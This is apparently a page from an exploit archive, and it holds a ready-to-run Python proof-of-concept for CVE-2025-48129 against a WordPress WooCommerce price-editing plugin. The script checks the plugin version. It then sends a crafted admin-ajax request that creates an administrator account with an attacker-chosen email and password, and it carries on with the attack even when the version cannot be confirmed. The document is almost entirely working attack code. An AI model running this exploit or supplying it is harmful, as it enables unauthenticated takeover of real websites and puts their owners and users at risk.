4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-48129.py PY
import argparse
import requests
import hashlib
import time
from urllib.parse import urljoin

requests.packages.urllib3.disable_warnings()

# Exploit By: Nxploited ( Khaled_alenazi)

def format_url(url):
    if not url.startswith(("http://", "https://")):
        url = "http://" + url
    return url if url.endswith("/") else url + "/"

def check_version(base_url):
    readme_url = urljoin(base_url, "wp-content/plugins/excel-like-price-change-for-woocommerce-and-wp-e-commerce-light/readme.txt")
    print("[*] Checking plugin version...")
    try:
        response = requests.get(readme_url, timeout=10, verify=False)
        if response.status_code == 200:
            if "Stable tag:" in response.text:
                for line in response.text.splitlines():
                    if "Stable tag:" in line:
                        version = line.split("Stable tag:")[1].strip()
                        if version <= "2.4.37":
                            print("[*] Plugin version:", version)
                            print("[*] Vulnerable version detected. Exploiting...")
                            time.sleep(3)
                        else:
                            print("[*] Plugin is not vulnerable (version:", version + ")")
            else:
                print("[*] Plugin version not found in readme.txt. Proceeding with exploitation.")
        else:
            print("[*] readme.txt not accessible. Skipping version check.")
    except Exception:
        print("[*] Could not verify plugin version. Proceeding with exploitation.")

def exploit(base_url, email, password):
    hashed_pw = hashlib.md5(password.encode()).hexdigest()
    ajax_url = urljoin(base_url, "wp-admin/admin-ajax.php?action=sellingcommander-endpoint")

    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
    }

    data = {
        "scemail": email,
        "consumer_key": hashed_pw,
        "consumer_secret": "xyz"
    }

    try:
        response = requests.post(ajax_url, data=data, headers=headers, verify=False, timeout=15)
        if response.status_code == 200:
            if "rest_no_route" in response.text or "No route was found" in response.text:
                print("[+] Exploitation successful!")
            else:
                print("[+] Exploit sent. Review the site manually.")
        else:
            print("[-] Exploitation failed (HTTP", response.status_code, ")")
    except Exception as e:
        print("[-] Error sending request:", str(e))
        return

    print("\n[*] Login credentials:")
    print("    Username:", email)
    print("    Password:", hashed_pw)
    print(f"\n[*] If login fails, reset the password manually via:\n    {urljoin(base_url, 'wp-login.php?action=lostpassword')}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="CVE-2025-48129 - Unauthenticated Privilege Escalation Exploit by Khaled Alenazi (Nxploited)"
    )
    parser.add_argument("-u", "--url", required=True, help="Target WordPress site URL (e.g., http://site.com/)")
    parser.add_argument("-mail", "--mail", required=True, help="Email for the new Admin account")
    parser.add_argument("-p", "--password", default="nxploitadmin", help="Password to set (default: nxploitadmin)")

    args = parser.parse_args()
    base_url = format_url(args.url)

    check_version(base_url)
    exploit(base_url, args.mail, args.password)